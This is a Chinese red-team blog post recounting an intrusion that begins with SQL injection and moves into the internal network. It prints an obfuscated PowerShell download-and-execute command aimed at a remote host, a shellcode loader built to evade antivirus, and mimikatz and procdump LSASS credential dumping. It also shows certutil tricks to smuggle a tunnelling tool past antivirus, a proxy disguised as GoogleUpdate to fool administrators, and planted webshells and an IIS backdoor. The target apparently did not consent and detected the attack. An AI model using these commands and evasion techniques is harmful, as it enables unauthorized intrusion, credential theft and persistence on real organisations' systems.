渗透攻击红队
一个专注于红队攻击的公众号
大家好,这里是 渗透攻击红队 的第 48 篇文章,本公众号会记录一些红队攻击的笔记(由浅到深),不定时更新
前言
一个 SQL 注入可以帮我们的不仅仅是获取数据库表里的数据,还能让我们直接获取到目标服务器的权限,减少我们渗透的时间,本文主要围绕 SQL 注入如何进内网来写的,不多说兄弟们看文章就完事了。
给我一个 SQL 注入我能干翻你内网
卧槽有杀软
首先拿到一个站,权限很小,而且各种上线失败:
发现目标服务器是 2008 r2:
最后使用 powershell 上线,参考的是s1ye师傅的文章:https://www.chabug.org/web/1324.html
代码语言:javascript复制powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://xxxxx:9000/1.ps1')
上线后权限有问题,不能执行 shell 。
估计是对面机器上有杀软,被拦截了。
在这里我犯了一个大忌,直接无脑丢 exe 到目标机器上去执行,而不是先 tasklist 查看进程看看有没有 AV ,再去做免杀,大家在实际的过程中一定要注意,宁愿稳、慢、也不要粗暴!
Mssql 注入反弹 Powershell 上线
由于我们是通过Sql注入拿到的shell,这个时候我们发现目标可以开启xp_cmdshell 执行os-shell:
发现是管理员权限,这个时候通过 powershell 远程下载并执行 exe 上线 CS ,发现被拦截了:
随后使用 bypass 后的 powershell 脚本进行配合 sqlmap 执行命令成功上线:
拿到权限之后发现是一个工作组环境:
CobaltStrike 下的内网渗透
为了接下来的内网渗透,我们进行吧权限迁移到CS或者MSF上,我这边使用CS-Http上线:
之后用cs生成一个ps1,然后进行免杀:
https://www.cnblogs.com/forforever/p/13882312.html
代码语言:javascript复制$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('这里是编码的 shellcode')
$s |foreach { $string = $string $_.ToString() ','}
$string > c:1.txt
本地测试一下:
代码语言:javascript复制powershell -ExecutionPolicy bypass -File .index.ps1
可以上线!Virustotal 发现 bypass 了大部分 AV:
之后就上传到目标服务器成功上线CS:
虽然上线CS了,但是执行命令不了,可能是被拦截了:
这个时候我们尝试用 https 上线:
重复上面的操作:
随后运行 powershell 上线:
这个时候就能执行命令了:
随后 Run mimikatz 抓到了管理员的明文和哈希:
先不登录他远程桌面,我们先扫描内网存活主机,进行横向渗透:
发现存在大量机器:
之后进行 psexec 横向但是都没上线成功,我先做个流量socks代理:
之后发现他内网基本上都开放了 80 端口:
之后通过一个一个搞,中途拿下了几台机子后好像被发现了,这个时候发现sqlmap也没用了,它直接关站了!
峰回路转
过了几天,由于我之前留了一个 IIS 后门:
为了方便,我写了一个冰蝎马到网站目录
之后翻配置文件翻到了数据库密码:
还是那句话,除了在目标机器上抓系统账号密码,一定要去多翻翻机器上的其他文件:邮件、截截屏、翻翻浏览器记录、收藏夹、注册表、各类客户端软件目录下的配置文件...
这些文件里面很有可能包含大量有价值的账号密码,总之就一句话:拿到机器之后,先别急着上去就开始瞎扫,先把当前机器能翻的翻个底朝天,一直翻到不能动为止!千万别动不动上去不管三七二十一对着内网就说一段胡瞎扫,万一遇到什么流量检测设备苛刻点的环境,或者管理规范经验丰富的网管,可能很快就把你踢出局了,渗透过程中被对方发现是一件非常丢人的事情,实在是有点得不偿失,进入目标内网后,仔细耐心搜集信息永远是第一位的,宁愿慢、稳、也不要粗暴!
之后使用 procdump.exe 抓 lsass.dump 读取密码:
代码语言:javascript复制mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
这里有个坑,我使用 procdump.exe 读取 lsass.dmp 是保存为 2.txt,不知道为什么,目标服务器上只要有 lsass.dmp 就会被杀掉,所以我吧它修改为 txt 然后就不会被杀了,之后下载到本地吧它修改为 lsass.dmp 就没事了!
由于冰蝎的 socks 代理是基于 http 的,不稳定,那么我就用 frp 进行代理,再代理前,我把 客户端的 frp 图标修改为 google 的图标用于麻痹管理员:
然后上传到目标服务器上:
在这里有一个小技巧,如果对面有杀软你上传exe就会被杀,那么你可以使用编码,把 frpc.exe 编码为 txt:
代码语言:javascript复制CertUtil -encode frpc.exe frpc.txt
然后再使用 certUtil 下载 frpc.txt :
代码语言:javascript复制certutil.exe -urlcache -split -f frpc.txt的地址
之后再目标服务器解码就可以了:
代码语言:javascript复制CertUtil -decode frpc.txt frpc.exe
然后进行 frp 内网穿透:
代码语言:javascript复制GoogleUpdate.exe -c GoogleUpdate.ini
在然后就可以了:
然后直接上线 CS :
日到这里发现 10.0.0.0 这个网段只有一台主机存活:
那么就很尴尬了,我的目标是拿下目标核心域控,只能重新打点搞了!
峰回路转第二弹 - 注入 Getshell
这个时候就只能重新搞了!
我后面又找到了一些注入点:
但是执行不了命令,估计是写权限被写死了:
没办法,只能通过 SQLMAP 来进行信息搜集了,sqlmap --password 跑出一些密码:
执行 -- sql-shell 可以读取 passwd 文件:
通过读文件,顺水推舟找到了数据库的配置文件:
之后通过sqlmap跑出来后台账号密码:
后台没做限制上传 php 成功 getshell:
然后通过查看网站源代码找到 php 路径:
但是蚁剑链接发现有问题:
这个时候用蚁剑的马上传:
成功 getshell !进入内网后发现没内网,而且没有翻到可利用的东西!哎,那么又得重新打点了!
峰回路转第三弹 - 注入到后台
然后我又找到了几处注入点:
同样不能执行命令:
后面找到后台账号密码登录到后台发现没有什么上传点:
最后日进了一个聊天室,但是没啥用:
结尾
其实本篇的技术不多,都是围绕 SQL 注入来写的,可见一个 SQL 注入就可以帮我们完成这么多的事情,一个 SQL 注入就能干翻内网,还是那句话,渗透的本质就是信息搜集,信息搜集的足够多,你渗透的成功性就会越大!